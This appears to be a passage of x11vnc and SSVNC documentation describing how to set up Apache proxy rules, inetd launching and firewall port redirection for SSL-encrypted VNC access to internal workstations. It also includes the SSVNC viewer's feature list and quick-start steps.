- Besides 80 one could use any other random port number (since there are
- so many port scans on 80, a little obscurity might be useful).
-
- One option is to use port "443" (the default https:// port) instead of
- "563". In this case Apache is not configured for mod_ssl; we just
- happen to use port "443" in the way any random port would be used.
- This could be handy if the Viewer side environment is restrictive in
- that it only allows outgoing connections to ports 80 and 443 (and,
- say, you didn't want to use port 80, or you wanted to use 80 for
- something else). Another reason for using 443 would be some web proxy
- environments only allow the CONNECT method to go to port 443 (and not
- even the case 563 we use above).
-
- _________________________________________________________________
-
- Details:
-
- Let's go through the httpd.conf additions in detail from the top.
-
- The LoadModules directives load the necessary apache modules. Note
- that mod_rewrite must be listed first. If you are compiling from
- scratch something like this worked for us:
- ./configure --enable-proxy=shared --enable-proxy-connect=shared --enable-ssl=
-shared --enable-rewrite=shared --prefix=/dist/apache
-
- Then the VirtualHost *:563 virtual host section starts.
-
- The "ProxyRequests On" and "AllowCONNECT 5915" enable the web server
- to forward proxy requests to port 5915 (and only this port) INSIDE the
- firewall. Think about the implications of this thoroughly and test it
- carefully.
-
- The RewriteRule's are for convenience only so that the URL entered
- into the Web browser does not need the various extra parameters, e.g.:
- http://www.gateway.east:563/vnc/host2/index.vnc?CONNECT=host2+5915&PORT=563,
-blah,blah...
-
- (or otherwise make direct edits to index.vnc to set these parameters).
- The forceProxy=yes parameter is passed to the applet to force the use
- of a outgoing proxy socket connection. Use it only if the Web browser
- is inside a separate Web proxying environment (i.e. large corporation)
-
- The rewrites with parameter urlPrefix are described under Tricks for
- Better Response. The "trust" ones (also described under Tricks) with
- trustAllVncCerts tell the Java VNC applet to skip a dialog asking
- about the VNC Certificate. They are a bit faster and more reliable
- than the original method. In the best situation they lead to being
- logged in 20 seconds or less (without them the time to login can be
- much longer since a number of connections must timeout).
-
- All of the x11vnc Java Viewer applet parameters are described in the
- file classes/ssl/README
-
- The external file /dist/apache/conf/vnc.hosts containing the allowed
- VNC server hostnames is read in. Its 2nd column contains the VNC
- display of the host (always 15 in our example; if you make it vary you
- will need to adjust some lines in the httpd.conf accordingly, e.g.
- AllowCONNECT). This list is used to constrain both the Jar file
- download URL and the proxy CONNECT the VNC viewer makes to only the
- intended VNC servers.
-
- Limiting the proxy CONNECT is done with the two sets of RewriteCond
- conditions.
-
- Limiting the Jar file download URL is done in the remaining 4
- RewriteRule's.
-
- Note that these index.vnc and VncViewer.jar downloads to the browser
- are not encrypted via SSL, and so in principle could be tampered with
- by a really bad guy. The subsequent VNC connection, however, is
- encrypted through a single SSL connection (it makes a CONNECT straight
- to x11vnc). See below for how to have these initial downloads
- encrypted as well (if the apache web server has SSL/mod_ssl, i.e.
- https, enabled and configured).
-
- Unfortunately the Java VNC viewer applet currently is not able to save
- its own list of Certificates (e.g. the user says trust this VNC
- certificate 'always'). This is because an applet it cannot open local
- files, etc. Sadly, the applet cannot even remember certificates in the
- same browser session because it is completely reinitialized for each
- connection (see below).
-
- _________________________________________________________________
-
- Too Much?
-
- If these apache rules are a little too much for you, there is a little
- bit simpler scheme where you have to list each of the individual
- machines in the httpd.conf and ssl.conf files. It may be a little more
- typing to maintain, but perhaps being more straight forward (less
- RewriteRule's) is desirable.
-
- _________________________________________________________________
-
- Problems?
-
- To see example x11vnc output for a successful https://host:5900/
- connection with the Java Applet see This Page.
-
- _________________________________________________________________
-
- Some Ideas for adding extra authentication, etc. for the paranoid:
- * VNC passwords: -rfbauth, -passwdfile, or -usepw. Even adding a
- simple company-wide VNC password helps block unwanted access.
- * Unix passwords: -unixpw
- * SSL Client certificates: -sslverify
- * Apache AuthUserFile directive: .htaccess, etc.
- * Filter connections based on IP address or hostname.
- * Use Port-knocking on your firewall as described in: Enhanced
- TightVNC Viewer (ssvnc).
- * Add proxy password authentication (requires Viewer changes?)
- * Run a separate instance of Apache that provides this VNC service
- so it can be brought up and down independently of the normal web
- server.
- * How secure is the Client side? Public machines in internet cafes,
- etc, are often hacked, with backdoors and VNC servers of their
- own. Prefer using your own firewalled laptop to a public machine.
-
-
- _________________________________________________________________
-
- Using non-Java viewers with this scheme:
-
- The ss_vncviewer stunnel wrapper script for VNC viewers has the -proxy
- option that can take advantage of this method.
- ss_vncviewer -proxy www.gateway.east:563 host1:15
-
- For the case of the "double proxy" situation (see below) supply both
- separated by a comma.
- ss_vncviewer -proxy proxy1.foobar.com:8080,www.gateway.east:563 host1:15
-
- For the Enhanced TightVNC Viewer (ssvnc) GUI (it uses ss_vncviewer on
- Unix) put 'host1:15' into the 'VNC Server' entry box, and here are
- possible Proxy/Gateway entries
- Proxy/Gateway: www.gateway.east:563
- Proxy/Gateway: proxy1.foobar.com:8080,www.gateway.east:563
-
- then click on the 'Connect' button.
-
- _________________________________________________________________
-
- Downloading the Java applet to the browser via HTTPS:
-
- To have the Java applet downloaded to the user's Web Browser via an
- encrypted (and evidently safer) SSL connection the Apache webserver
- should be configured for SSL via mod_ssl.
-
- It is actually possible to use the x11vnc Key Management utility
- "-sslGenCert" to generate your Apache/SSL .crt and .key files. (In
- brief, run something like "x11vnc -sslGenCert server self:apache" then
- copy the resulting self:apache.crt file to conf/ssl.crt/server.crt and
- extract the private key part from self:apache.pem and paste it into
- conf/ssl.key/server.key). Setting the env var REQ_ARGS='-days 1095'
- before running x11vnc will bump up the expiration date (3 years in
- this case).
-
- Or you can use the standard methods described in the Apache mod_ssl
- documentation to create your keys. Then restart Apache, usually
- something like "apachectl stop" followed by "apachectl startssl"
-
- In addition to the above sections in httpd.conf one should add the
- following to ssl.conf:
- SSLProxyEngine On
-
- RewriteEngine On
-
- # Convenience rules to expand applet parameters. These do not have a traili
-ng "/"
- #
- # /vnc http jar file downloading:
- #
- RewriteRule /vnc/([^/]+)$ /vnc/$1/index.vnc?CONNECT=$
-1+5915&PORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vnc_2F_$1 [R,NE,L]
- RewriteRule /vnc/proxy/([^/]+)$ /vnc/$1/proxy.vnc?CONNECT=$
-1+5915&PORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vnc_2F_$1&forceProxy=yes [R,N
-E,L]
- #
- # (we skipped the "trust" ones above, put them in if you like)
- #
- # /vncs https jar file downloading:
- #
- RewriteRule /vncs/([^/]+)$ /vncs/$1/index.vnc?CONNECT=$
-1+5915&PORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1 [R,NE,L]
- RewriteRule /vncs/proxy/([^/]+)$ /vncs/$1/proxy.vnc?CONNECT=$
-1+5915&PORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&forceProxy=yes [R,
-NE,l]
- RewriteRule /vncs/trust/([^/]+)$ /vncs/$1/index.vnc?CONNECT=$
-1+5915&PORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&trustAllVncCerts=y
-es [R,NE,L]
- RewriteRule /vncs/trust/proxy/([^/]+)$ /vncs/$1/proxy.vnc?CONNECT=$
-1+5915&PORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&forceProxy=yes&tru
-stAllVncCerts=yes [R,NE,L]
-
- # Convenience rules used for the connect_switch helper (requires Listen 127.
-0.0.1:443 above):
- #
- RewriteRule /vnc443/([^/]+)$ /vncs/$1/index.vnc?CONNECT=$
-1+5915&PORT=443&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1 [R,NE,L]
- RewriteRule /vnc443/proxy/([^/]+)$ /vncs/$1/proxy.vnc?CONNECT=$
-1+5915&PORT=443&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&forceProxy=yes [R,
-NE,L]
- RewriteRule /vnc443/trust/([^/]+)$ /vncs/$1/index.vnc?CONNECT=$
-1+5915&PORT=443&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&trustAllVncCerts=y
-es [R,NE,L]
- RewriteRule /vnc443/trust/proxy/([^/]+)$ /vncs/$1/proxy.vnc?CONNECT=$
-1+5915&PORT=443&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&forceProxy=yes&tru
-stAllVncCerts=yes [R,NE,L]
-
- # Read in the allowed host to vnc display mapping file. It looks like:
- #
- # host1 15
- # host2 15
- # ...
- #
- # the display "15" means 5915 for SSL VNC and 5815 for http applet download.
- #
- RewriteMap vnchosts txt:/dist/apache/conf/vnc.hosts
-
-
- # Remap /vnc and /vncs to the proxy http download (e.g. https://host:5915)
- #
- # First, fail if it starts with the string /vnc0:
- #
- RewriteRule ^/vnc0.* /VNCFAIL [F,L]
- #
- # Next, map the prefix to /vnc0:host:protocol:port
- #
- RewriteRule ^/vnc/([^/]+)/(.*) /vnc0/$1:http:58${vnchosts:$1|NOTFOUND}/$2
-[NE]
- RewriteRule ^/vncs/([^/]+)/(.*) /vnc0/$1:https:59${vnchosts:$1|NOTFOUND}/$2
-[NE]
- #
- # Drop any not found:
- #
- RewriteRule ^/vnc0.*NOTFOUND.* /VNCFAIL [F,L]
-
- # Construct the proxy URL and retrieve it:
- #
- RewriteRule ^/vnc0/([^/]+):([^/]+):([^/]+)/(.*) $2://$1:$3/$4 [P,NE,L]
-
- This is all in the "<VirtualHost _default_:443>" section of ssl.conf.
-
- The user could then point the Web Browser to:
- https://www.gateway.east/vnc/host2
-
- or
- https://www.gateway.east/vnc/proxy/host2
-
- for the "double proxy" case. (Important: do not put a trailing "/" on
- the URL, since that will defeat the RewriteRules.)
-
- As with the httpd.conf case, the external file
- (/dist/apache/conf/vnc.hosts in the above example) contains the
- hostnames of the allowed VNC servers.
-
- Note that inside the firewall the Java applet download traffic is not
- encrypted (only over the Internet is SSL used) for these cases:
- https://www.gateway.east/vnc/host2
- https://www.gateway.east/vnc/proxy/host2
-
- However for the special "vncs" rules above:
- https://www.gateway.east/vncs/host2
-
- the Java applet download is encrypted via SSL for both legs. Note that
- the two legs are two separate SSL sessions. So the data is decrypted
- inside an apache process and reencrypted by the apache process for the
- 2nd SSL session inside the same apache process (a very small gap one
- might overlook).
-
- The "vncs/trust" ones are like the "trust" ones described earlier
- https://www.gateway.east/vncs/trust/mach2
-
- and similarly for the httpsPort ones. See Tricks for Better Response.
-
- In all of the above cases the VNC traffic from Viewer to x11vnc is
- encrypted end-to-end in a single SSL session, even for the "double
- proxy" case because the CONNECT method is used (there are actually two
- CONNECT's for the "double proxy" case). This part (the VNC traffic) is
- the most important part to have encrypted.
-
- Note that the Certificate dialogs the user has in his web browser will
- be for the Apache Certificate, while for the Java applet it will be
- the x11vnc certificate.
-
- Note also that you can have Apache serve up the Jar file VncViewer.jar
- and/or index.vnc/proxy.vnc instead of each x11vnc if you want to.
-
- The rules in ssl.conf are similar to the ones in httpd.conf and so are
- not discussed in detail. The only really new thing is the /vncs
- handling to download the applet jar via HTTPS on port 5915.
-
- The special entries "/vnc443" are only used for the special helper
- program (connect_switch) for the https port 443 only mode discussed
- here.
-
- _________________________________________________________________
-
- INETD automation:
-
- The "single-port" (i.e. 5915) HTTPS applet download and VNC connection
- aspect shown here is convenient and also enables having x11vnc run out
- of inetd. That way x11vnc is run on demand instead of being run all
- the time (the user does not have to remember to start it). The first
- connections to inetd download index.vnc and the Jar file (via https)
- and the the last connection to inetd establishes the SSL VNC
- connection. Since x11vnc is restarted for each connection, this will
- be a bit slower than the normal process.
-
- For example, the /etc/inetd.conf line could be:
- 5915 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc_ssl.sh
-
- where the script x11vnc_ssl.sh looks something like this:
-#!/bin/sh
-
-/usr/local/bin/x11vnc -inetd -oa /var/log/x11vnc-15.log \
- -ssl SAVE -http -unixpw -localhost \
- -display :0 -auth /home/THE_USER/.Xauthority
-
- where, as usual, the inetd launching needs to know which user is
- typically using the display on that machine. One could imagine giving
- different users different ports, 5915, 5916, etc. to distinguish (then
- the script would need to be passed the username). mod_rewrite could be
- used to automatically map username in the URL to his port number.
-
- A better way is to use the "-display WAIT:cmd=FINDDISPLAY" feature to
- autodetect the user and Xauthority data:
-#!/bin/sh
-
-/usr/local/bin/x11vnc -inetd -oa /var/log/x11vnc-15.log \
- -ssl SAVE -http -unixpw -localhost -users unixpw= \
- -find
-
- (we have used the alias -find for "-display WAIT:cmd=FINDDISPLAY".)
- This way the user must supply his Unix username and password and then
- his display and Xauthority data on that machine will be located and
- returned to x11vnc to allow it to attach. If he doesn't have a display
- running on that machine or he fails to log in correctly, the
- connection will be dropped.
-
- The variant "-display WAIT:cmd=FINDCREATEDISPLAY" (aliased by
- "-create") will actually create a (virtual or real) X server session
- for the user if one doesn't already exist. See here for details.
-
- To enable inetd operation for the non-HTTPS Java viewer download (port
- 5815 in the above httpd.conf example) you will need to run x11vnc in
- HTTPONCE mode on port 5815: For example, the /etc/inetd.conf line
- could be:
- 5815 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc \
- -inetd -prog /usr/local/bin/x11vnc -oa /var/log/x11vnc-15.log \
- -http_ssl -display WAIT:cmd=HTTPONCE
-
- where the long inetd.conf line has been split. Note how the -http_ssl
- tries to automatically find the .../classes/ssl subdirectory. This
- requires the -prog option available in x11vnc 0.8.4 (a shell script
- wrapper, e.g. /usr/local/bin/x11vnc_http.sh can be used to work around
- this).
-
- Also note the use of "-ssl SAVE" above. This way a saved server.pem is
- used for each inetd invocation (rather generating a new one each time
- as happens for "-ssl TMP"). Note that it cannot have a protecting
- passphrase because inetd will not be able to supply it.
-
- Another option is:
- 5815 stream tcp nowait root /usr/sbin/tcpd /usr/local/bin/x11vnc \
- -inetd -httpdir /usr/local/share/x11vnc/classes/ssl \
- -oa /var/log/x11vnc-15.log -display WAIT:cmd=HTTPONCE
-
- (this also requires a feature found in x11vnc 0.8.4).
- _________________________________________________________________
-
- Other Ideas:
-
- - The above schemes work, but they are a bit complicated with all of
- the rigging. There should be more elegant ways to configure Apache to
- do these, but we have not found them (please let us know if you
- discover something nice). However, once this scheme has been set up
- and is working it is easy to maintain and add/delete workstations,
- etc.
-
- - In general Apache is not required, but it makes things convenient.
- The firewall itself could do the port redirection via its firewall
- rules. Evidently different Internet-facing ports would be required for
- each workstation. This could be set up using iptables rules for
- example. If there were just one or two machines this would be the
- easiest method. For example:
- iptables -t nat -A PREROUTING -p tcp -d 24.35.46.57 --dport 5901 -j DNAT --to
--destination 192.168.1.2:5915
- iptables -t nat -A PREROUTING -p tcp -d 24.35.46.57 --dport 5902 -j DNAT --to
--destination 192.168.1.3:5915
-
- Where 24.35.46.57 is the internet IP address of the gateway. In this
- example 24.35.46.57:5901 is redirected to the internal machine
- 192.168.1.2:5915 and 24.35.46.57:5902 is redirected to another
- internal machine 192.168.1.3:5915, both running x11vnc -ssl ... in SSL
- mode. For this example, the user would point the web browser to, e.g.:
- https://24.35.46.57:5901/?PORT=5901
-
- or using the stunnel wrapper script:
- ss_vncviewer 24.35.46.57:1
-
- One can achieve similar things with dedicated firewall/routers (e.g.
- Linksys) using the device's web or other interface to configure the
- firewall.
-
- If the user may be coming out of a firewall using a proxy it may be
- better to redirect ports 443 and 563 (instead of 5901 and 5902) to the
- internal machines so that the user's proxy will allow CONNECTing to
- them.
-
- - The redirection could also be done at the application level using a
- TCP redirect program (e.g. ip_relay or fancier ones). Evidently more
- careful internal hostname checking, etc., could be performed by the
- special purpose application to add security. See connect_switch which
- is somewhat related.
-
- - One might imagine the ProxyPass could be done for the VNC traffic as
- well (for the ssl.conf case) to avoid the CONNECT proxying completely
- (which would be nice to avoid). Unfortunately we were not able to get
- this to work. Since HTTP is a request-response protocol (as opposed to
- a full bidirectional link required by VNC that CONNECT provides) this
- makes it difficult to do. It may be possible, but we haven't found out
- how yet.
-
- All of the x11vnc Java Viewer applet parameters are described in the
- file classes/ssl/README
-
- _________________________________________________________________
-
- Tricks for Better Response and reliability:
-
- The "original scheme" using httpd.conf and ssl.conf rewrites without
- urlPrefix and trustAllVncCerts above should work OK, but may lead to
- slow and/or unreliable loading of the applet and final connection to
- x11vnc. The following are what I do now to get better response and
- reliability. YMMV.
-
- The problem with the "original scheme" is that there is a point where
- the VNC Viewer applet can try up to 3 times to retrieve the x11vnc
- certificate, since it needs to get it to show it to you and ask you if
- you accept it. This can add about 45 seconds to the whole process
- (which takes 1 to 1.5 minutes with all the dialogs) since a couple of
- those connections must time out. The "trust" items in the config add a
- parameter trustAllVncCerts=yes similar to the forceProxy=yes
- parameter. This can cut the total time to the VNC password prompt down
- to 15 seconds which is pretty good. (Note by ignoring the certificate
- this does not protect against man-in-the-middle attacks which are
- rare, but maybe the won't be so rare in the future... see
- dsniff/webmitm and cain)
-
- First make sure the x11vnc SSL certificate+key is the same as
- Apache's. (otherwise you may get one extra dialog and/or one extra
- connection that has to time out).
-
- The following RewriteRule's are the same now advocated in the
- instructions above.
-
- The httpsPort and urlPrefix= parameters give hints to the applet to
- improve connecting: This is what goes in httpd.conf:
- RewriteEngine On
- RewriteRule /vnc/([^/]+)$ /vnc/$1/index.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1 [R,NE]
- RewriteRule /vnc/trust/([^/]+)$ /vnc/$1/index.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1&trustAllVncCerts=yes [R,NE]
- RewriteRule /vnc/proxy/([^/]+)$ /vnc/$1/proxy.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1&forceProxy=yes [R,NE]
- RewriteRule /vnc/trust/proxy/([^/]+)$ /vnc/$1/proxy.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1&forceProxy=yes&trustAllVncCerts=yes [R,NE]
-
- The httpsPort and urlPrefix provide useful hints to the VNC Viewer
- applet when it connects to x11vnc to glean information about Proxies,
- certificates, etc.
-
- This is what goes into ssl.conf:
- RewriteEngine On
- RewriteRule /vnc/([^/]+)$ /vnc/$1/index.vnc?CONNECT=$1+5915&P
-ORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vnc_2F_$1 [R,NE]
- RewriteRule /vnc/proxy/([^/]+)$ /vnc/$1/proxy.vnc?CONNECT=$1+5915&P
-ORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vnc_2F_$1&forceProxy=yes [R,NE]
- RewriteRule /vncs/([^/]+)$ /vncs/$1/index.vnc?CONNECT=$1+5915&P
-ORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1 [R,NE]
- RewriteRule /vncs/proxy/([^/]+)$ /vncs/$1/proxy.vnc?CONNECT=$1+5915&P
-ORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&forceProxy=yes [R,NE]
- RewriteRule /vncs/trust/([^/]+)$ /vncs/$1/index.vnc?CONNECT=$1+5915&P
-ORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&trustAllVncCerts=yes [R,NE
-]
- RewriteRule /vncs/trust/proxy/([^/]+)$ /vncs/$1/proxy.vnc?CONNECT=$1+5915&P
-ORT=563&httpsPort=443&GET=1&urlPrefix=_2F_vncs_2F_$1&forceProxy=yes&trustAllVnc
-Certs=yes [R,NE]
-
- The rest is the same.
-
- The httpsPort and urlPrefix and GET provide useful hints to the VNC
- Viewer applet when it connects to x11vnc to glean information about
- Proxies, certificates, etc, and also for the ultimate VNC connection
- (GET speeds this up by sending a special HTTP GET to cause x11vnc to
- immediately switch to the VNC protocol).
-
- To turn these into URLs, as was done above, take the string in the
- RewriteRule, e.g. /vncs and turn it into
- https://gateway/vncs/machinename Similarly for non-https:
- http://gateway:563/vnc/machinename
-
- If you use the 'trust' ones, you are performing NO checks, visual or
- otherwise, on the VNC SSL certificate. It is trusted without question.
- This speeds things up because it avoids a dialog about certificates,
- but of course has some risk WRT Man in the Middle attacks. I don't
- recommend them. It is better to use /vnc or /vncs and the first time
- you connect carefully check the Certificate and then tell your Browser
- and Java Virtual Machine to trust the certificate 'Always'. Then if
- you later get an unexpected dialog, you know something is wrong.
- Nearly always it is just a changed or expired certificate, but better
- safe than sorry...
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/enhanced_tightvnc_viewer.html:
-
-
- _________________________________________________________________
-
-Enhanced TightVNC Viewer (SSVNC: SSL/SSH VNC viewer)
-
- (To Downloads) (To Quick Start)
-
- [ssvnc.gif] [ssvnc_windows.gif] [ssvnc_macosx.gif] . .
-
-
- The Enhanced TightVNC Viewer, SSVNC, adds encryption security to VNC
- connections.
-
- The package provides a GUI for Windows, Mac OS X, and Unix that
- automatically starts up an STUNNEL SSL tunnel for SSL or ssh/plink for
- SSH connections to any VNC server, such as x11vnc, and then launches
- the VNC Viewer to use the encrypted tunnel.
-
- The x11vnc server has built-in SSL support, however SSVNC can make SSL
- encrypted VNC connections to any VNC Server if they are running an SSL
- tunnel, such as STUNNEL or socat, at their end. SSVNC's SSH tunnel
- will work to any VNC Server host running sshd that you can log into.
-
- The Enhanced TightVNC Viewer package started as a project to add some
- patches to the long neglected Unix TightVNC Viewer. However, now the
- front-end GUI, encryption, and wrapper scripts features possibly
- outweigh the Unix TightVNC Viewer improvements (see the lists below to
- compare).
-
- The SSVNC Unix vncviewer can also be run without the SSVNC encryption
- GUI as an enhanced replacement for the xvncviewer, xtightvncviewer,
- etc., viewers.
-
- In addition to normal SSL, SSVNC also supports the VeNCrypt SSL/TLS
- and Vino/ANONTLS encryption extensions to VNC on Unix, Mac OS X, and
- Windows. Via the provided SSVNC VeNCrypt bridge, VeNCrypt and ANONTLS
- encryption also works with any third party VNC Viewer (e.g. RealVNC,
- TightVNC, UltraVNC, etc...) you select via 'Change VNC Viewer'.
-
- The short name for this project is "ssvnc" for SSL/SSH VNC Viewer.
- This is the name of the command to start it.
-
- There is a simplified SSH-Only mode (sshvnc). And an even more
- simplified Terminal-Services mode (tsvnc) for use with x11vnc on the
- remote side.
-
- The tool has many additional features; see the descriptions below.
-
- It is a self-contained bundle, you could carry it around on, say, a
- USB memory stick / flash drive for secure VNC viewing from almost any
- machine, Unix, Mac OS X, and Windows (and if you create a directory
- named "Home" in the toplevel ssvnc directory on the drive your VNC
- profiles and certs will be kept there as well). For Unix, there is
- also a conventional source tarball to build and install in the normal
- way and not use a pre-built bundle.
-
- _________________________________________________________________
-
- Announcements:
-
- Important: If you created any SSL certificates with SSVNC (or anything
- else) on a Debian or Ubuntu system from Sept. 2006 through May 2008,
- then those keys are likely extremely weak and can be easily cracked.
- The certificate files should be deleted and recreated on a non-Debian
- system or an updated one. See
- http://www.debian.org/security/2008/dsa-1571 for details. The same
- applies to SSH keys.
-
- Please read this information on using SSVNC on workstations with
- Untrusted Local Users.
-
- _________________________________________________________________
-
- Feature List:
-
- Wrapper scripts and a tcl/tk GUI were written to create these features
- for Unix, Mac OS X, and Windows:
- * SSL support for connections using the bundled stunnel program.
- * Automatic SSH connections from the GUI (system ssh is used on Unix
- and MacOS X; bundled plink is used on Windows)
- * Ability to Save and Load VNC profiles for different hosts.
- * You can also use your own VNC Viewer, e.g. UltraVNC or RealVNC,
- with the SSVNC encryption GUI front-end if you prefer.
- * Create or Import SSL Certificates and Private Keys.
- * Reverse (viewer listening) VNC connections via SSL and SSH.
- * VeNCrypt SSL/TLS VNC encryption support (used by VeNCrypt, QEMU,
- ggi, libvirt/virt-manager/xen, vinagre/gvncviewer/gtk-vnc)
- * ANONTLS SSL/TLS VNC encryption support (used by Vino)
- * VeNCrypt and ANONTLS are also enabled for any 3rd party VNC Viewer
- (e.g. RealVNC, TightVNC, UltraVNC ...) on Unix, MacOSX, and
- Windows via the provided SSVNC VeNCrypt Viewer Bridge tool (use
- 'Change VNC Viewer' to select the one you want.)
- * Support for Web Proxies, SOCKS Proxies, and the UltraVNC repeater
- proxy (e.g. repeater://host:port+ID:1234). Multiple proxies may be
- chained together (3 max).
- * Support for SSH Gateway connections and non-standard SSH ports.
- * Automatic Service tunnelling via SSH for CUPS and SMB Printing,
- ESD/ARTSD Audio, and SMB (Windows/Samba) filesystem mounting.
- * Sets up any additional SSH port redirections that you want.
- * Zeroconf (aka Bonjour) is used on Unix and Mac OS X to find VNC
- servers on your local network if the avahi-browse or dns-sd
- program is available and in your PATH.
- * Port Knocking for "closed port" SSH/SSL connections. In addition
- to a simple fixed port sequence and one-time-pad implementation, a
- hook is also provided to run any port knocking client before
- connecting.
- * Support for native MacOS X usage with bundled Chicken of the VNC
- viewer (the Unix X11 viewer is also provided for MacOS X, and is
- better IMHO. It is now the default on MacOS X.)
- * Dynamic VNC Server Port determination and redirection (using ssh's
- builtin SOCKS proxy, ssh -D) for servers like x11vnc that print
- out PORT= at startup.
- * Unix Username and Password entry for use with "x11vnc -unixpw"
- type login dialogs.
- * Simplified mode launched by command "sshvnc" that is SSH Only.
- * Simplified mode launched by command "tsvnc" that provides a VNC
- "Terminal Services" mode (uses x11vnc on the remote side).
- * IPv6 support for all connection modes on Unix, MacOSX, and
- Windows.
-
- Patches to TightVNC 1.3.9 vnc_unixsrc tree were created for Unix
- TightVNC Viewer improvements (these only apply to the Unix VNC viewer,
- including MacOSX XQuartz):
- * rfbNewFBSize VNC support (dynamic screen resizing)
- * Client-side Scaling of the Desktop in the viewer.
- * ZRLE VNC encoding support (RealVNC's encoding)
- * Support for the ZYWRLE encoding, a wavelet based extension to ZRLE
- to improve compression of motion video and photo regions.
- * TurboVNC support (VirtualGL's modified TightVNC encoding; requires
- TurboJPEG library)
- * Pipelined Updates of the framebuffer as in TurboVNC (asks for the
- next update before the current one has finished downloading; this
- gives some speedup on high latency connections.)
- * Cursor alphablending with x11vnc at 32bpp (-alpha option)
- * Option "-unixpw ..." for use with "x11vnc -unixpw" type login
- dialogs.
- * Support for UltraVNC extensions: 1/n Server side scaling, Text
- Chat, Single Window, Disable Server-side Input. Both UltraVNC and
- x11vnc servers support these extensions.
- * UltraVNC File Transfer via an auxiliary Java helper program (java
- must be in $PATH). Note that the x11vnc server also supports
- UltraVNC file transfer.
- * Connection support for the UltraVNC repeater proxy (-repeater
- option).
- * Support for UltraVNC Single Click operation. (both unencrypted: SC
- I, and SSL encrypted: SC III)
- * Support for UltraVNC DSM Encryption Plugin symmetric encryption
- mode. (ARC4, AESV2, MSRC4, and SecureVNC)
- * Support for UltraVNC MS-Logon authentication (NOTE: the UltraVNC
- MS-Logon key exchange implementation is very weak; an eavesdropper
- on the network can recover your Windows password easily in a few
- seconds; you need to use an additional encrypted tunnel with
- MS-Logon.)
- * Support for symmetric encryption (including blowfish and 3des
- ciphers) to Non-UltraVNC Servers. Any server using the same
- encryption method will work, e.g.: x11vnc -enc blowfish:./my.key
- * Instead of hostname:display one can also supply "exec=command
- args..." to connect the viewer to the stdio of an external command
- (e.g. stunnel or socat) rather than using a TCP/IP socket. Unix
- domain sockets, e.g. /path/to/unix/socket, and a previously opened
- file descriptor fd=0, work too.
- * Local Port Protections for STUNNEL and SSH: avoid having for long
- periods of time a listening port on the the local (VNC viewer)
- side that redirects to the remote side.
- * Reverse (viewer listening) VNC connections can show a Popup dialog
- asking whether to accept the connection or not (-acceptpopup.) The
- extra info provided by UltraVNC Single Click reverse connections
- is also supported (-acceptpopupsc)
- * Extremely low color modes: 64 and 8 colors in 8bpp
- (-use64/-bgr222, -use8/-bgr111)
- * Medium color mode: 16bpp mode on a 32bpp Viewer display
- (-16bpp/-bgr565)
- * For use with x11vnc's client-side caching -ncache method use the
- cropping option -ycrop n. This will "hide" the large pixel buffer
- cache below the actual display. Set to the actual height or use -1
- for autodetection (also, tall screens, H > 2*W, are autodetected
- by default).
- * Escape Keys: specify a set of modifier keys so that when they are
- all pressed down you can invoke Popup menu actions via keystrokes.
- I.e., a set of 'Hot Keys'. One can also pan (move) the desktop
- inside the viewport via Arrow keys or a mouse drag.
- * Scrollbar width setting: -sbwidth n, the default is very thin, 2
- pixels, for less distracting -ycrop usage.
- * Selection text sending and receiving can be fine-tuned with the
- -sendclipboard, -sendalways, and -recvtext options.
- * TightVNC compression and quality levels are automatically set
- based on observed network latency (n.b. not bandwidth.)
- * Improvements to the Popup menu, all of these can now be changed
- dynamically via the menu: ViewOnly, Toggle Bell, CursorShape
- updates, X11 Cursor, Cursor Alphablending, Toggle Tight/ZRLE,
- Toggle JPEG, FullColor/16bpp/8bpp (256/64/8 colors), Greyscale for
- low color modes, Scaling the Viewer resolution, Escape Keys,
- Pipeline Updates, and others, including UltraVNC extensions.
- * Maintains its own BackingStore if the X server does not.
- * The default for localhost:0 connections is not raw encoding since
- same-machine connections are pretty rare. Default assumes you are
- using a SSL or SSH tunnel. Use -rawlocal to revert.
- * XGrabServer support for fullscreen mode, for old window managers
- (-grab/-graball option).
- * Fix for Popup menu positioning for old window managers (-popupfix
- option).
- * The VNC Viewer ssvncviewer supports IPv6 natively (no helpers
- needed.)
-
- The list of 3rd party software bundled in the archive files:
- * TightVNC Viewer (windows, unix, macosx)
- * Chicken of the VNC Viewer (macosx)
- * Stunnel (windows, unix, macosx)
- * Putty/Plink/Pageant (windows)
- * OpenSSL (windows)
- * esound (windows)
-
- These are all self-contained in the bundle directory: they will not be
- installed on your system. Just un-zip or un-tar the file you
- downloaded and run the frontend ssvnc straight from its directory.
- Alternatively, on Unix you can use the conventional source tarball.
-
- _________________________________________________________________
-
- Here is the Quick Start info from the README for how to setup and use
- SSVNC:
-Quick Start:
------------
-
-Unix and Mac OS X:
-
- Inside a Terminal do something like the following.
-
- Unpack the archive:
-
- % gzip -dc ssvnc-1.0.29.tar.gz | tar xvf -
-
- Run the GUI:
-
- % ./ssvnc/Unix/ssvnc (for Unix)
-
- % ./ssvnc/MacOSX/ssvnc (for Mac OS X)
-
- The smaller file "ssvnc_no_windows-1.0.29.tar.gz"
- could have been used as well.
-
- On MacOSX you could also click on the SSVNC app icon in the Finder.
-
- On MacOSX if you don't like the Chicken of the VNC (e.g. no local
